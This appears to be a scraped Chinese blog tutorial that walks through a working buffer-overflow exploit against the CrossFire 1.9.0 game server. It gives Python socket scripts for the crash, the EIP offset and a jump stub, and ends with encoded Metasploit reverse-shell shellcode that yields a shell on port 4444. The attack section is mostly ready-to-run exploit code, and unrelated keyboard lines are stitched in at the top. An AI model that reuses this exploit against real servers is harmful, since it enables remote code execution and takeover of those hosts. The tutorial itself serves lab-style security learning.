linux畸形文件夹,Linux下简单的缓冲区溢出
8種機械鍵盤軸體對比
本人程序員,要買一個寫代碼的鍵盤,請問紅軸和茶軸怎么選?
科班出身,或者搞過匯編C等的應該知道,當緩沖區邊界限制不嚴格時,由于變量傳入畸形數據或進程運行錯誤,導致緩沖區被“撐爆”,從而覆蓋了相鄰內存區域的數據
可修改內存數據,造成進程劫持,執行惡意代碼,獲取服務器控制權等后果
實例
準備
CrossFire多人在線RPG游戲
1.9.0 版本接受入站 socket 連接時存在緩沖區溢出漏洞 (服務端)
調試工具edb
運行環境kali 2.0 x64虛擬機
Linux內存保護機制DEP
ASLR
堆棧 cookies
堆棧粉碎
實戰
避免測試中我們的虛擬機被劫持,通過iptables設置目標端口只允許本地訪問1
2
3
4
5iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP
iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP
創建/usr/games/目錄,將crossfire1.9.0服務端解壓到目錄1
2
3
4#解壓
touch /usr/games/
cd /usr/games/
tar zxpf crossfire.tar.gz
運行一下crossfire看看有沒有問題 ./crossfire
出現Waiting for connections即可,有問題看看Error1
2#開啟調試
edb --run /usr/games/crossfire/bin/crossfire
右下角是paused暫停狀態
菜單欄 Debug => Run(F9) 點擊兩回可以運行起來
可以通過命令查看進程端口信息1
2#查看開放端口
netstat -pantu | grep 13327
EIP中存放的是下一條命令的地址
這個進程和一般的溢出不同,它必須發送固定的數據量才可以發生溢出,而不是大于某個數據量都可以,我們構造如下python進程測試1
2
3
4
5
6
7
8
9
10
11
12
13#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = "x41" * 4379 ## x41為十六進制的大寫A
buffer = "x11(setup sound " + crash + "x90x00#" ## x90是NULL,x00是空字符
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
運行后,edb報錯如下
意思是EIP(存放一下條執行命令的地址)已經被覆蓋成上圖黑體中的地址,而計算機找不到這個地址。這個地址正是由我們輸入的A,說明EIP可控,存在溢出。
這里你也可以測試增加一個A或者減少一個A發送,會發現后邊兩個數值都不是A,都不可控,也就是說數據量只有為4379時EIP才完全可控
為了查看到底是哪個位置的A才是溢出后的EIP地址,借助工具生成唯一字符串1
2cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 4379
復制下來,構造如下python腳本1
2
3
4
5
6
7
8
9
10
11
12
13#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = "唯一字符串"
buffer = "x11(setup sound " + crash + "x90x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
開啟edb啟動進程,運行python進程
利用工具確認字符串的位置1
2cd /usr/share/metasploit-framework/tools/exploit/
./pattern_offset.rb -q 46367046
就是說EIP地址前面有4368個字符。 4369,4370,4371,4372的位置存放的是溢出后的EIP地址
構造如下python腳本驗證1
2
3
4
5
6
7
8
9
10
11
12
13#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + 'C'*7 ## 湊夠4379個字符
buffer = "x11(setup sound " + crash + "x90x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
可以看到EIP地址被精準的填充為B字符
右鍵ESP,選擇 Follow In Dump 查看數據
因為必須是精確的字符才能溢出,就是說ESP寄存器只能存放7個字符,顯然無法存放shellcode
幾個寄存器都查看后,選擇了EAX。因為EAX存放的是我們之前發送的幾千個A,是可控的,且有足夠的大小存放shellcode
思路就是讓EIP存放EAX的地址,然后在地址上加12,直接從第一個A的位置開始執行。但是各個機器的EAX的地址也各不相同,不具有通用性,所以直接跳轉的思路就放棄。
既然ESP可以存放7個字符,想到了跳轉EAX并偏移12
構造如下python代碼運行1
2
3
4
5
6
7
8
9
10
11
12
13#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + 'x83xc0x0cxffxe0x90x90'
buffer = "x11(setup sound " + crash + "x90x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
首先EIP地址仍然是精準的四個B
ESP => Follow In Dump 查看
83 c0 0c ff e0 90 90 說明這里也完美寫入
思路就是EIP => ESP => EAX,EAX存放shellcode,因為ESP地址不固定,需要借助固定的地址跳轉
打開edb,菜單欄 Plugins => OpcodeSearcher => OpcodeSearch
選擇crossfire進程,ESP -> EIP,選擇一個jmp esp 的地址,這個地址是不會變的
菜單欄 plugin => breakpointmanager => breakpoints 選擇add增加我們上邊選擇的地址的斷點用來測試。
然后我們測試壞字符,經過測試壞字符是x00x0ax0dx20
生成shellcode并過濾壞字符1
2
3cd /usr/share/framework2/
./msfpayload -l #可以生成的shellcode的種類
./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "x00x0ax0dx20"
構建python腳本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23#!/usr/bin/python
import socket
host = "127.0.0.1"
shellcode = (
"xbbx6dx65x9bxcdxdbxddxd9x74x24xf4x5fx2bxc9"+
"xb1x14x83xc7x04x31x5fx10x03x5fx10x8fx90xaa"+
"x16xb8xb8x9exebx15x55x23x65x78x19x45xb8xfa"+
"x01xd4x10x92xb7xe8x85x3exd2xf8xf4xeexabx18"+
"x9cx68xf4x17xe1xfdx45xacx51xf9xf5xcax58x81"+
"xb5xa2x05x4cxb9x50x90x24x85x0exeex38xb0xd7"+
"x08x50x6cx07x9axc8x1ax78x3ex61xb5x0fx5dx21"+
"x1ax99x43x71x97x54x03")
crash = shellcode + "A"*(4368-105) + "x97x45x13x08" + "x83xc0x0cxffxe0x90x90"
buffer = "x11(setup sound " +crash+ "x90x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
監聽本地的4444端口,即可獲取一個shell
總結
以上是生活随笔為你收集整理的linux畸形文件夹,Linux下简单的缓冲区溢出的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux 命令last -x,Linu
- 下一篇: linux系统中ntp服务监听端口是,L